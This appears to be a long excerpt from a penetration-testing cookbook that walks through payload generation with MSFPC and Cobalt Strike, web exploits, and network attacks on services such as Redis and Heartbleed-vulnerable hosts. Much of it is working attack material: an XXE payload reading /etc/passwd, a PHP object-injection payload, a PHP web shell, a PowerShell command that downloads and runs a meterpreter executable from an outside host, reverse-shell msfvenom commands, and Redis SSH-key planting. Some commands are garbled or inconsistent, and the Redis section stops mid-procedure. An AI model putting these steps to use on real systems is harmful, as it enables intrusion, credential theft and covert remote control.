MSFPC is a user-friendly multiple-payload generator that can be used to generate Metasploit payloads based on user-selected options. The user doesn't need to execute the long msfvenom commands to generate payloads anymore. With MSFPC, the user can generate payloads with far fewer commands.

# How to do it...

Let's perform the following steps:

  1. Run MSFPC by typing `msfpc` in the console. We will see the following output:

  2. We can see in the preceding screenshot that the tool accepts the input in the following format:

    **< TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>)**
    **( <STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>)** **( <VERBOSE>)**

  3. Generate a simple, classic reverse-shell payload by executing the following command:

    **msfpc cmd windows eth0**

The following screenshot shows the output of the preceding command:

  4. The preceding command will generate a payload with a CMD as the preferred shell for Windows and set the `LHOST` to the IP that's retrieved from the eth0 Ethernet interface. Let's look at the **resource file** ( **rc** ) it generated to see what happened in the background by using the `cat` command:

  5. From the source code, we can see that it's nothing but a resource script. The script that's shown in the preceding screenshot runs the handler module and sets the `LHOST`, `LPORT`, and `Payload` shell reverse TCP for us. Let's look at another example of how to generate a meterpreter payload using `msfpc`. We can do that by typing the following command:

    **msfpc msf windows eth0**

The following screenshot shows the output of the preceding command:

  6. To execute the resource file, use the following command:

    **sudo msfconsole -q -r 'windows-meterpreter-staged-reverse-tcp-443-exe.rc'**

The following screenshot shows the output of the preceding command:

  7. We can see that the handler is running and waiting for a connection.

  8. Another cool feature of MSFPC is the batch mode, which generates multiple payloads with as many combinations of payload types as possible. We can do that by using the following command:

    **msfpc batch windows eth0
    **

The following screenshot shows the output of the preceding command:

  9. Run the `ls` command. We can see that a lot of payloads have been created, along with their resource files:

Now let's have a look at the next recipe.

# Emulating threats with Cobalt Strike

Cobalt Strike is a full-featured commercial pentesting tool that provides an armitage-like functionality with a lot of new additions. In this recipe, we will look at some of its features.

# Getting ready

Cobalt Strike can be downloaded from <https://trial.cobaltstrike.com/> on a trial basis, which is valid for 21 days. It may take a few days for the site to provide us with the download link:

Cobalt Strike comes in a package that consists of a client and server files. To start with the setup, we need to run the team server. The following are the files that you'll get once you download the package:

The first thing we need to do is run the team server script located in the same directory.

What is a team server? This is the main controller for the payloads that are used in Cobalt Strike. It logs all of the events that occur in Cobalt Strike. It collects all the credentials that are discovered in the post-exploitation phase or used by the attacker on the target systems to log in. It's a simple bash script that calls the **Metasploit RPC service** ( **msfrpcd** ) and starts the server with `cobaltstrike.jar`. This script can be customized according to your needs.

# How to do it...

Let's perform the following steps:

  1. Use the following command to run the team server:

    **sudo ./teamserver 192.168.10.122 harry@123**

  2. Here, I am using the `192.168.10.122` IP as my team server and `harry@123` as my password for the team server:

  3. Upon successfully starting the server, we can get on with the client. To run the client, use the following command:

    **java -jar** **cobaltstrike.jar**

The following screenshot shows the output of the preceding command:

  4. Once the connection is established with the team server, the Cobalt Strike client will open:

  5. Start the listener by going to the Cobalt Strike menu and choosing Listeners:

  6. This will open a new window where we can create a name for this listener. Choose the payload. Cobalt Strike has two kinds of listeners:
    * **Beacon** : Beacon-based listeners will listen or connect to the connections coming from the beacon payload
    * **Foreign** : Foreign listeners are used to pass sessions to another instance of Cobalt Strike or to Metasploit or Armitage
  7. Choose a name for our listener. Choose the type of payload, which will be `windows/beacon_https`.
  8. Enter the host name and port number and click Save:

  9. As we have a beacon payload, we will get an alert box that asks us to provide the domain name and IP address of the system on which our team server is running. Enter this information and click OK:

Our newly created listener will be up and running:

  10. We can use a foreign listener in Cobalt Strike to pass connections to Metasploit/Armitage. To do that, start Metasploit/Armitage and run a handler:

  11. Go to the Cobalt Strike window and create a new foreign listener with the IP and port on which the handler is running:

  12. Click Save. We will see that a new listener has been created:

  13. To pass a session, right-click on the host and select Spawn:

  14. A new window will open to show a list of the currently running listeners. We can either choose from these or create a new one. In this case, we will pick the MSF listener and click the Choose button:

A new Meterpreter session will open up in our Metasploit window:

Once our handlers are running, we need to generate payloads that will be executed on the target system. Cobalt Strike allows us to generate different payloads based on different attack packages:

  * **HTML Application** : This generates an HTML application with either an EXE-, VBA-, or PowerShell-based payload. The output that's generated by the HTA file needs to be opened on Internet Explorer on the victim's system.
  * **MS Office Macro** : This option generates a VBA macro, which we can embed in MS Office. This is very useful as red-team attacks often involve exploiting the human element to gain access to the internal networks of the corporation.
  * **Payload Generator** : This will generate a payload in the desired format and save it to a file. We need to execute the payload on a system manually.
  * **USB/CD AutoPlay** : This package generates an `autorun.inf` that abuses the AutoPlay feature on Windows. It only runs on Windows XP and Vista systems.
  * **Windows Dropper** : This package creates a Windows document dropper. It drops a document to disk, opens it, and executes a payload. We need to specify the document into which the payload will be embedded.
  * **Windows Executable** : This is used to create an EXE- or DLL-based payload, which needs to be deployed manually.
  * **Windows Executable(s)** : This generates a stageless beacon in EXE, DLL, or PowerShell format.

Let's learn how to generate payloads with a few examples:

  1. To view the different types of payloads that we can generate from Cobalt Strike, click on Attacks from the menu:

  2. Use the Payload Generator. Go to Attack, click on Packages, and then click on Payload Generator:

  3. A new window will open. Choose the listener we wish to receive our connection on and the output format of the payload. Choose PowerShell Command and click Generate:

  4. A new window will open; it will ask us to choose the output folder. The payload will be generated and copied into a `.txt` file:

If we open the `.txt` file, we will see a base64-encoded PowerShell command:

  5. Execute the preceding code and we will receive a connection on our server:

  6. We can see the connection in the visualization tab. Right-click on the target and a beacon menu will open up:

Let's look at some of the options available to us:

  * **Dump Hashes** : This will run the `hashdump` command on the beacon, which dumps the system's **NT LAN Manager** ( **NTLM** ) hashes. It requires elevated privileges:

  * **File Browser** : This feature is self-explanatory. We can browse the files and folders on the victim's machine through a GUI using this option:

When you choose the File Browser option from the menu, a new tab will open, in which we can view and browse the victim's files and folders:

More functions can be accessed using the beacon console with commands.

The beacon console can be opened by right-clicking on a host and choosing the Interact option:

  7. To view a list of all the commands, type the `help` command:

Now, let's look at a few commands in detail. In the following screenshot, we ran the `pwd` command to print the current working directory of the target:

`shell` executes a command that's passed to it as a parameter into the system's shell and prints out the output of the command in return, as shown in the following screenshot. Running the `whoami` command in the shell returns the current user:

# There's more...

We can refer to the following table for a list of all the commands and what they do. We already saw some of these commands being executed from the beacon menu:

**Command** | **Description**

---|---

`browserpivot` | Set up a browser pivot session

`bypassuac` | Spawn a session in a high-integrity process

`cancel` | Cancel a download that's in progress

`cd` | Change the directory

`checkin` | Call home and post data

`clear` | Clear the beacon queue

`covertvpn` | Deploy Covert VPN client

`cp` | Copy a file

`dcsync` | Extract a password hash from a DC

`desktop` | View and interact with the target's desktop

`dllinject` | Inject a Reflective DLL into a process

`download` | Download a file

`downloads` | List file downloads in progress

`drives` | List drives on target

`elevate` | Try to elevate privileges

`execute` | Execute a program on the target

`exit` | Terminate the beacon session

`getsystem` | Attempt to get SYSTEM

`getuid` | Get the User ID

`hashdump` | Dump password hashes

`help` | Help menu

`inject` | Spawn a session in a specific process

`jobkill` | Kill a long-running post-exploitation task

`jobs` | List long-running post-exploitation tasks

`kerberos_ccache_use` | Apply a kerberos ticket from the cache to this session

`kerberos_ticket_purge` | Purge kerberos tickets from this session

`kerberos_ticket_use` | Apply a kerberos ticket to this session

`keylogger` | Inject a keystroke-logger into a process

`kill` | Kill a process

`link` | Connect to a Beacon peer over SMB

`logonpasswords` | Dump credentials and hashes with mimikatz

`ls` | List files

`make_token` | Create a token to pass credentials

`mimikatz` | Run a `mimikatz` command

`mkdir` | Make a directory

`mode dns` | Use DNS A as a data channel (DNS beacon only)

`mode dns-txt` | Use DNS TXT as a data channel (DNS beacon only)

`mode dns6` | Use DNS AAAA as a data channel (DNS beacon only)

`mode http` | Use HTTP as a data channel

`mode smb` | Use SMB peer-to-peer communication

`mv` | Move a file

`net` | Network and host-enumeration tool

`note` | Assign a note to this Beacon

`portscan` | Scan a network for open services

`powerpick` | Execute a command via Unmanaged PowerShell

`powershell` | Execute a command via `powershell.exe`

`powershell-import` | Import a PowerShell script

`ppid` | Set a parent PID for spawned post-ex jobs

`ps` | Show the process list

`psexec` | Use a service to spawn a session on a host

`psexec_psh` | Use PowerShell to spawn a session on a host

`psinject` | Execute the PowerShell command in a specific process

`pth` | Pass-the-hash using Mimikatz

`pwd` | Print the current directory

`rev2self` | Revert to the original token

`rm` | Remove a file or folder

`rportfwd` | Set up a reverse-port forward

`runas` | Execute a program as another user

`runu` | Execute a program under another PID

`screenshot` | Take a screenshot

`shell` | Execute a command via `cmd.exe`

`shinject` | Inject shellcode into a process

`shspawn` | Spawn a process and inject shellcode into it

`sleep` | Set a beacon sleep time

`socks` | Start the SOCKS4a server to relay traffic

`socks stop` | Stop the SOCKS4a server

`spawn` | Spawn a session

`spawnas` | Spawn a session as another user

`spawnto` | Set an executable to spawn processes into

`spawnu` | Spawn a session under another PID

`ssh` | Use SSH to spawn an SSH session on a host

`ssh-key` | Use SSH to spawn an SSH session on a host

`steal_token` | Steal the access token from a process

`timestomp` | Apply the timestamps from one file to another

`unlink` | Disconnect from the parent Beacon

`upload` | Upload a file

`wdigest` | Dump plaintext credentials with Mimikatz

`winrm` | Use WinRM to spawn a session on a host

`wmi` | Use WMI to spawn a session on a host

# Web App Exploitation - Beyond OWASP Top 10

In OWASP Top 10, we usually see the most common way of finding and exploiting vulnerabilities. In this chapter, we will cover some of the uncommon cases that we might come across while hunting for bugs in a web application.

In this chapter, we will cover the following recipes:

  * Exploiting XSS with XSS Validator
  * Injection attacks with sqlpmap
  * Owning all .svn and .git repositories
  * Winning race conditions
  * Exploiting XXEs
  * Exploiting Jboss with JexBoss
  * Exploiting PHP Object Injection
  * Automating vulnerability detection with RapidScan
  * Backdoors using meterpreter
  * Backdoors using web shells

# Exploiting XSS with XSS Validator

XSS is already detected by various tools such as Burp and Acunetix; XSS Validator comes in handy. It is a Burp intruder extender that has been designed to automatically validate XSS vulnerabilities.

XSS Validator is based on SpiderLabs' blog post:
http://blog.spiderlabs.com/2013/02/server-site-xss-attack-detection-with-modsecurity-and-phantomjs.html

# Getting ready

To use the tool in the following recipe, we will need to have SlimerJS and PhantomJS installed on our machines. Let's look at their installation on Kali:

  1. We download both of the PhantomJS files from the internet using `wget`:

    **sudo wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-1.9.8-linux-x86_64.tar.bz2**

  2. We extract it using the following command:

    **tar jxvf phantomjs-1.9.8-linux-x86_64.tar.bz2**

Run the following `ls` command:

  3. Now we can browse the folder using `cd`. The easiest way is to copy the PhantomJS executable into `/usr/local/bin` as shown in the preceding screenshot:

    **cp phantomjs /usr/local/bin**

  4. To verify, we can type `phantomjs -v` in the Terminal and it will show us the version:

  5. Similarly, to install SlimerJS we download it from the official website: <http://slimerjs.org/download.html>.
  6. We first install the dependencies using the following command:

    **sudo apt-get install libc6 libstdc++6 libgcc1 xvfb**

  7. Now we extract the files using the following command:

    **tar** **jxvf** **slimerjs-0.8.4-linux-x86_64.tar.bz2**

  8. We then browse the directory and simply copy the SlimerJS executable to `/usr/local/bin` as shown in the following command:

    **cp slimerjs /usr/local/bin/**

  9. Now we need to navigate to the `XSS Validator` folder.
  10. We then need to start the PhantomJS and SlimerJS server using the following commands:

    **phantomjs xss.js &**
    **slimerjs slimer.js &**

# How to do it...

Let's perform the following steps:

  1. We open up Burp and switch to the Extender tab:

We then install the XSS Validator extender:

  2. Once the installation is done, we will see a new tab in the Burp window titled **xssValidator** :

  3. Once the servers are running, we head back to the Burp window. In the XSS Validator tab on the right, we will see a list of payloads the extender will test on request. We can manually enter our own payloads as well:

  4. Next, we capture the request we need to validate XSS on.

  5. We select the Send to Intruder option:

  6. Then we switch to the Intruder window and, under the Positions tab, we set the position where we want our XSS payloads to be tested, as shown in the following screenshots:

  7. In the Payloads tab, we select the Payload type as Extension-generated:

  8. In the Payload Options, we click Select generator and choose XSS Validator Payloads:

  9. Next, we switch to the XSS Validator tab and copy the Grep Phrase. This phrase can be customized as well:

  10. Next, we switch to the Options tab in the Intruder and add the copied phrase in the Grep - Match:

  11. We click Start attack and we will see a window pop up:

  12. Here, we will see the requests with a check mark on our Grep – Phrase column have been successfully validated:

Now let's have a look at injection attacks.

# Injection attacks with sqlmap

sqlmap is an open source tool built in Python that allows detection and exploitation of SQL injection attacks. It has full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB, and Informix databases. In this recipe, we will see how to use sqlmap to test and exploit SQL injection.

# How to do it...

Let's perform the following steps:

  1. We first take a look at the help option of sqlmap for a better understanding of its features. It can be done by using the following command:

    **sqlmap -h**

The following screenshot shows the output of the preceding command:

  2. To scan a URL, we use the following command:

    **sqlmap -u " http://testphp.vulnweb.com/artists.php?artist=1"**

  3. Once an SQL has been detected, we can choose yes (`Y`) to skip other types of payloads:

  4. Once SQL has been detected, we can now list the database names by using the `--dbs` flag:

  5. We have the databases now. Similarly, we can use flags such as `--tables` and `--columns` to get table names and column names:

  6. To check whether the user is a database administrator, we can use the `--is-dba` flag:

  7. The `sqlmap` command has a lot of flags. We can use the following table to see the different types of flags and what they do:

**Flag** | **Operation**

---|---

`--tables` | Dumps all table names

`-T` | Specifies a table name to perform an operation on

`--os-cmd` | Executes an operating system command

`--os-shell` | Prompts a command shell to the system

`-r` | Specifies a file name to run SQL test on

`--dump-all` | Dumps everything

`--tamper` | Uses a tamper script

`--eta` | Shows the estimated time remaining to dump data

`--dbs=MYSql,MSSQL,Orcale` | Allows us to manually choose a database and perform injection for specific database type only

`--proxy` | Specifies a proxy

# See also

  * The _Backdoors using meterpreters_ recipe

# Owning all .svn and .git repositories

DVCS ripper is used to rip version-controlled systems such as SVN, Git, Mercurial/hg, and Bazaar/bzr. The tool is built in Python and is pretty simple to use. In this recipe, we will learn how to use the tool to rip the repositories.

This vulnerability exists because most of the time when using a version-controlled system, developers host their repository in production. Leaving these folders allows a hacker to download the whole source code.

# How to do it...

Let's perform the following steps:

  1. We can download `dvcs-ripper.git` from GitHub using the following:

    **git clone https://github.com/kost/dvcs-ripper.git**

  2. We browse to the `dvcs-ripper` directory:

  3. To rip a Git repository, the command is very simple:

    **rip-git.pl -v -u http://www.example.com/.git/**

  4. We let it run and then we should see a `.git` folder created and, in it, we should see the source code:

  5. Similarly, we can use the following command to rip SVN as follows:

    **rip-svn.pl -v -u http://www.example.com/.svn/**

# Winning race conditions

Race conditions occur when an action is being performed in a multiple-threaded web application on the same data. It basically produces unexpected results when the timing of one action being performed will impact the other action.

Some examples of an application having a race-condition vulnerability can be an application that allows the transfer of credit from one user to another or an application that allows a voucher code to be added for a discount, but that also has a race condition that allows an attacker to use the same code multiple times.

# How to do it...

Let's perform the following command:

  1. We can perform a race condition attack by using Burp's Intruder. We select the request and click on the Send to Intruder option:

  2. We switch to the Options tab and set the number of threads we want:

  3. Then, in the Payloads tab, we choose Null payloads in Payload type as we want to replay the same request:

  4. Then, in the Payload options, we choose the number of times we want the request to be played. Since we don't really know how the application will perform, we cannot perfectly guess the number of times we need to replay the request.
  5. Now we click Start attack. If the attack is successful, we should see the desired result.

# See also

  * **Race condition attacks in web applications** : <http://antoanthongtin.vn/Portals/0/UploadImages/kiennt2/KyYeu/DuLieuTrongNuoc/Dulieu/KyYeu/07.race-condition-attacks-in-the-web.pdf>

  * **Hacking Starbucks for unlimited coffee** : <https://sakurity.com/blog/2015/05/21/starbucks.html>

  * **Linux privilege escalation hole** : <http://www.theregister.co.uk/2016/10/21/linux_privilege_escalation_hole/>

# Exploiting XXEs

Let's now look at another type of vulnerability that we may come across while performing a pentest. **XML External Entity** ( **XEE** ) attacks are a type of attack against an application that parses XML input poorly. These types of attacks can lead to local file disclosure such as password files. It can also be used to pivot to other internal systems in the network using RCE.

# How to do it...

Let's see an example of a vulnerable application and how it can be exploited using XXE:

  1. The following is an application that sends an XML post request to the server upon clicking the button titled Any bugs? as shown in the following screenshot:

  2. The following request is being sent to the server:

  3. We now submit a random tag to see how the application responds:

  4. As we can see from the following screenshot, the server throws an XML parsing error:

  5. We will now try a simple payload to try and read the `robots.txt` file of the web app, as shown in the following screenshot:

  6. The application now responds with the `robots.txt` file in the response, as shown in the following screenshot:

  7. This confirms our XXE. Similarly, to read the system files, we can use `file:///`. Our payload will look something like the following code:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE root [
    <ENTITY x system "file:///etc/passwd">]>
    <reset><login>&x;</login><secret>Any bugs?</secret></reset>

# See also

  * **XML External Entity (XXE) processing** : <https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing>
  * **Bugbounty cheatsheet** : <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md>

# Exploiting Jboss with JexBoss

JexBoss is a tool for testing and exploiting vulnerabilities in the Jboss Application Server and other Java Application Servers (for example, WebLogic, Glassfish, Tomcat, and Axis2).

JexBoss can be downloaded from here:
https://github.com/joaomatosf/jexboss

# How to do it...

We go to the directory in which we cloned our JexBoss and perform the following steps:

  1. We install all of the requirements by using the following command:

    **pip install -r requires.txt**

This can be seen in the following screenshot:

  2. To view the help, we type the following command:

    **python jexboss.py -h**

The following screenshot shows the output of the preceding command:

  3. To exploit a host, we simply type the following command:

    **python jexboss.py -host http://target_host:8080**

The following screenshot shows the output of the preceding command:

  4. It shows us the vulnerabilities, as follows:

  5. We type `yes` to continue exploitation:

  6. It gives us a shell on the server:

# Exploiting PHP Object Injection

PHP Object Injection occurs when an insecure user input is passed through the PHP `unserialize()` function. When we pass a serialized string of an object of a class to an application, the application accepts it, and then PHP reconstructs the object and usually calls a magic method if they are included in the class. Some of the methods are `__construct()`, `__destruct()`, `__sleep()`, and `__wakeup()`.

This leads to SQL injections, file inclusions, and even remote code execution. However, to successfully exploit, we need to know the class name of the object.

# How to do it...

Let's perform the following steps:

  1. Here we have an app that is passing serialized data in the `get` parameter, as shown in the following screenshot:

  2. Since we have the source code, we will see that the app is using the `wakeup()` function and the class name is `PHPObjectInjection`:

  3. Now, let's write a code with the same class name to produce a serialized object containing our own command that we want to execute on the server:

        <?php
           class PHPObjectInjection
           {
             public $inject = "system('whoami');";
           }
           $obj = new PHPObjectInjection;
           var_dump(serialize($obj));
        ?>

  4. We run the code by saving it as a PHP file and we should have the serialized output as follows:

  5. We pass this output into the `r` parameter and we see what it shows to the user in the following screenshot:

  6. Let's try passing one more command: `uname -a`. We generate it using the PHP code we made:

  7. Now, we paste the output in the URL:

  8. Now, we see the command being executed and the output is shown as follows:

# See also

  * **PHP Object Injection & Serialization Vulnerabilities**: <https://mukarramkhalid.com/php-object-injection-serialization/#poi-example-2>

  * **XeroSecurity** : <https://crowdshield.com/blog.php?name=exploiting-php-serialization-object-injection-vulnerabilities>

# Automating vulnerability detection using RapidScan

RapidScan is a tool built into Python that automates the process of scanning for vulnerabilities. It takes a URL as input and automatically runs multiple tools such as **nikto** , **dnsscan** , **wafw00f** , and **fierce** against the host. It currently supports 80 vulnerability tests. In this recipe, we will learn the usage of RapidScan to save time and automate vulnerability discovery.

# Getting ready

This tool is open source and available on GitHub at the link: <https://github.com/skavngr/rapidscan>.

# How to do it...

Let's perform the following steps:

  1. We first download the Python file using the `wget` command:

  2. To view the help, we use the `-h` flag, as shown in the following screenshot:

  3. Let's now run the tool against a host:

    **python rapidscan.py http://example.com**

The following screenshot shows the output of the preceding command:

As seen from the preceding screenshot, the tool starts looking for vulnerabilities and reports the issues found.

# Backdoors using meterpreter

Meterpreter is an advanced payload that uses in-memory DLL injection stagers. By default, meterpreter uses encrypted communications and since it's injected into a currently running process, it creates no new process, which creates limited forensic evidence on the target system. In this recipe, we will learn about uploading a meterpreter payload on the target system using sqlmap.

# How to do it...

Let's perform the following steps:

  1. We first check whether the user is DBA by running sqlmap with the `-is-dba` flag, as shown in the following screenshot:

  2. Then, we use `-os-shell`, which prompts us a shell. We run the command to check whether we have the required privileges:

    **whoami**

The following is the output of the preceding command:

  3. Luckily, we have admin rights. But we don't have **Remote Desktop Protocol** ( **RDP** ) available to outside users. Let's try another way to get meterpreter access using PowerShell. We first create an object of `System.Net.WebClient` and save it as a PowerShell script on the system:

    **echo $WebClient = New-Object System.Net.WebClient > abc.ps1**

  4. Now, we create our `meterpreter.exe` via `msfvenom` using the following command:

    **msfvenom -p windows/meterpreter/reverse_tcp LHOST= <Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe**

  5. Now, we need to get our meterpreter downloaded so we append the following command in our `abc.ps1` script:

    **echo $WebClient.DownloadFile(http://domain.com/meterpreter.exe, "D:\video\b.exe") >> 3.ps1**

The output will be seen as follows:

  6. By default, PowerShell is configured to prevent the execution of `ps1` scripts on Windows systems. But there's an amazing way for still executing scripts. We use the following command:

    **powershell -executionpolicy bypass -file 3.ps1**

The following screenshot shows the output of the preceding command:

  7. Next, we go to the directory where our file was downloaded and execute it using following command:

    **D:/video/meterpreter.exe**

As we can see in the following screenshot, we get the reverse connection on our handler:

# See also

  * The _Exploiting the MSFConsole_ recipe

# Backdoors using webshells

Sometimes, we may also come across a file upload that is initially meant to upload files such as Excel documents and photos. But there are a few ways by which we can bypass it. In this recipe, we will see how to do that.

# How to do it...

Let's perform the following steps:

  1. Here, we have a web application that uploads a photo. So, let's upload an image here:

  2. When we upload a photo, this is what we see on the application:

  3. Let's upload a `.txt` file and see what happens. So, we create one with `test` as data:

  4. After uploading it, you can see the following message on the window. Our image has been deleted:

  5. This might mean our application is doing either a client-side or server-side check for file extension, as seen in the following screenshot:

  6. Let's try to bypass the client-side check. We intercept the request in Burp and try to alter the extension data submitted:

  7. Now, we change the extension from `.txt` to `.txt;.png` and click forward in Burp, we will see that the image has been deleted again as shown in the following screenshot:

It is still being deleted, which tells us the application might be performing a server-side check. One of the ways to bypass it would be to add a header of an image along with the code we want to execute.

  8. Let's add the following header, `GIF87a`:

And when we upload the file, it shows us the following message:

We see the file that has been uploaded.

  9. Now, we try to add our PHP code:

    <?php
    $output = shell_exec('ls -lart');
    echo "<pre>$output</pre>";
    ?>

The preceding code can be seen in the following screenshot:

But our PHP has still not been executed.

  10. But there are other file formats, such as `pht`, `phtml`, `phtm`, and `htm`. So, let's try `pht`:

You can see that our file has been uploaded:

  11. We browse the file and discover that it has been executed:

  12. Let's try executing a basic command:

    **?c=whoami**

Refer to the following screenshot:

We can see here that our command has been successfully executed and we have uploaded our shell to the server.

# Network Exploitation

In this chapter, we will cover the following recipes:

  * MITM with hamster and ferret
  * Exploring the msfconsole
  * Using the paranoid meterpreter
  * The tale of a bleeding heart
  * Exploiting Redis
  * Saying no to SQL – owning MongoDBs
  * Hacking embedded devices
  * Exploiting Elasticsearch
  * Good old Wireshark
  * This is Sparta
  * Exploiting Jenkins
  * Shellver – reverse shell cheatsheet
  * Generating payloads with MSFvenom Payload Creator (MSFPC)

# Introduction

Exploiting networks is often a technique that comes in handy. Often, we may find that the most vulnerable point in a corporate is in the network itself. In this chapter, you will learn about some of the ways to successfully exploit the services we find while scanning a network during a pentest activity.

# MITM with hamster and ferret

Hamster is a tool that can be used for side-jacking. Hamster acts as a proxy server while ferret is used for sniffing cookies in the network. In this recipe, we will see how to hijack some sessions!

# Getting ready

Kali already has the tool installed so let's see how to run it.

# How to do it...

Let's perform the following steps:

  1. Type the following command:

    **hamster
    **

The output of running the previous command is shown in the following screenshot:

  2. Fire up your browser and browse to `http://localhost:1234`:

  3. Click on adapters and choose the interface we want to monitor:

  4. Wait for a while and we will see the sessions on the left tab:

If you don't see sessions after a few minutes, it may be because hamster and ferret are not in the same folder. Hamster runs and executes ferret along with it in the background.

# Exploring the msfconsole

We have already covered some basics of Metasploit in the previous chapters. In this recipe, we will learn some techniques to use meterpreter and metasploit for more efficient exploitation.

# How to do it...

Let's perform the following steps:

  1. Start the Metasploit console by typing `msfconsole`:

  2. To see the list of exploits available, use the following command:

    **show exploits**

The output of the preceding command is shown in the following screenshot:

  3. To see the list of payloads, use the following command:

    **show payloads**

The output of running the preceding command is shown in the following screenshot:

  4. Metasploit also comes with hundreds of `auxiliary` modules, which contain scanners, fuzzers, sniffers, and so on. To see the auxiliary, use the following command:

    **show auxiliary**

The output of the preceding command is shown in the following screenshot:

  5. Let's use an FTP fuzzer with the following command:

    **use auxiliary/fuzzers/ftp/client_ftp**

The output of the preceding command is shown in the following screenshot:

  6. See the options by using the following command:

    **show options**

  7. Set RHOSTS using the following command:

    **set RHOSTS x.x.x.x**

  8. Run the auxiliary, which notifies us in case a crash happens:

# Railgun in Metasploit

In this recipe, we learn more about Railgun. Railgun is a meterpreter-only Windows exploitation feature. It allows direct communication to the Windows API.

Railgun allows us to perform a lot of tasks that Metasploit cannot. Using this, we can use the Windows API calls to perform all of the operations we need to for even better post exploitation.

# How to do it...

Let's perform the following steps:

  1. Jump into Railgun from meterpreter by typing the following command:

    **irb**

The output of the preceding command is shown in the following screenshot:

  2. To access Railgun, use the following command:

    **session.railgun**

The output of the preceding command is shown in the following screenshot:

We see a lot of data has been printed. These are basically available DLLs and functions we can use.

  3. To get a better view of the DLL names, type the following command:

    **session.railgun.known_dll_names**

The output of the preceding command is shown in the following screenshot:

  4. To view a function of a DLL, use the following command:

    **session.railgun. <dllname>.functions**

The output of the preceding command is shown in the following screenshot:

  5. Let's try to call an API that will lock the screen of the victim. We can do that by typing the following command:

    **client.railgun.user32.LockWorkStation()**

We can see that we are logged out:

  6. Imagine a situation where we want to obtain a user's login password; we have the hash, but we are unable to crack it. Using Railgun, we can call the Windows API to lock the screen and then run a key logger in the background, so when the user logs in, we will have the password. Metasploit already has a post-exploitation module that uses Railgun to do this: let's try it!

We exit our `irb` and background our meterpreter session, then we use the following module:

    **use post/windows/capture/lockout_keylogger**

The following screenshot shows the output of the preceding command:

  7. We add our session by using the following command:

    **set session 1**

  8. Set the PID of `winlogon.exe`:

    **set PID <winlogon pid>**

  9. Run the `run` command and we can see the password that the user has entered:

# There's more...

This is just one example of a function call we see; we can use Railgun to perform lots of other actions, such as deleting the administrator user, inserting values into registry, and creating our own DLLs.

# See also

  * For more information, please visit <https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf>.[
](https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf)

# Using the paranoid meterpreter

Sometime during 2015, hackers realized it was possible to steal/hijack someone's meterpreter session by simply playing around with the victim's DNS and launching their own handler to connect. This led to the development and release of meterpreter paranoid mode. The developers introduced an API that verified the SHA1 hash of the certificate presented by the `msf` at both ends. In this recipe, we will see how to use the paranoid mode.

# How to do it...

Let's perform the following steps:

  1. We need an SSL certificate. We can generate our own by using the following commands:

    **openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout meterpreter.key -out meterpreter.crt**

The output of the preceding command is shown in the following screenshot:

After getting the preceding output, run the following command:

    **cat meterpreter.key meterpreter.crt > meterpreter.pem**

  2. Use the generated certificate to generate a payload using the following command:

    **msfvenom -p windows/meterpreter/reverse_winhttps LHOST= <IP> LPORT=<PORT NUMBER> HandlerSSLCert=meterpreter.pem StagerVerifySSLCert=true -f exe -o abcd.exe**

The output of the preceding command is shown in the following screenshot:

  3. To set options in handler, use the following command in msfconsole:

    **use exploit/multi/handler**
     **set HandlerSSLCert /path/to/pem_file** **
    set StagerVerifySSLCert true**

The output of the preceding command is shown in the following screenshot:

  4. Run the handler. Here, we see that the stager verified the connection with the handler and then a connection was made:

# There's more...

We can take this to a more advanced level by mentioning our own UUID when generating a payload by using the `-PayloadUUIDName=` switch. Using this, even if another attacker has access to our certificate, they will not be able to hijack our session as the UUID will not match.

# The tale of a bleeding heart

Heartbleed is a vulnerability in OPENSSL cryptography that was introduced in 2012 and publicly disclosed in 2014. It is a buffer over-read vulnerability, which is when more data can be read than is allowed.

In this recipe, we will learn how to exploit heartbleed via using metasploit's `auxiliary` module.

# How to do it...

Let's perform the following steps:

  1. We start `msfconsole` by typing this:

    **msfconsole**

The output of the preceding command is shown in the following screenshot:

  2. Search for the `heartbleed` auxiliary using the following command:

    **search heartbleed**

The output of the preceding command is shown in the following screenshot:

  3. Use `auxiliary` with the following command:

    **use auxiliary/scanner/ssl/openssl_heartbleed**

  4. View the options using the following command:

    **show options**

The output of the preceding command is shown in the following screenshot:

  5. Set the RHOSTS to our target IP using the following command:

    **set RHOSTS x.x.x.x**

  6. Set the verbosity to `true` using the following command:

    **set verbose true**

  7. Type `run` and we should now see the data in; this data often contains sensitive information, such as passwords and email IDs:

# Exploiting Redis

Sometimes, while pentesting, we may come across a Redis installation that was left public unintentionally. In an unauthenticated Redis installation, the simplest thing to do is to write random files. In this recipe, we will see how to get the root access of Redis installations running without authentication.

# How to do it...

Let's perform the following steps:

  1. Telnet to the server to see whether a successful connection is possible:

    **telnet x.x.x.x 6379**

The output of the preceding command is shown in the following screenshot:

  2. Generate our SSH key using the following command:

    **ssh-keygen -t rsa -C youremail@example.com**

  3. Enter the file where we want to save it:

  4. Our key is generated; now we need to write it on the server:

  5. Install the Redis CLI. Use the following command to do so:

    **sudo apt-get install redis-tools**

The output of the preceding command is shown in the following screenshot:

  6. Go back to the generated key and add some random data before and after the key:

    **(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt**

`redis.txt` is our new key file with new lines.

  7. Replace the keys in the database with ours. Connect to the host using the following command:

    **redis-cli -h x.x.x.x**

  8. Flush the keys using the following command:

    **redis-cli -h x.x.x.x -p 6350 flushall**

The output of the preceding command is shown in the following screenshot:

  9. Set our keys into the database using the following command:

     **cat  redis.txt | redis-cli -h x.x.x.x -p 6451 -x set bb
     Screenshot 2017-03-13 20.41.55**

  10. Copy the uploaded key into the `ssh` folder; check the current folder with the following command:

    **config get dir**

  11. Change our directory to `/root/.ssh/`:

    **config set dir /root/.ssh/**

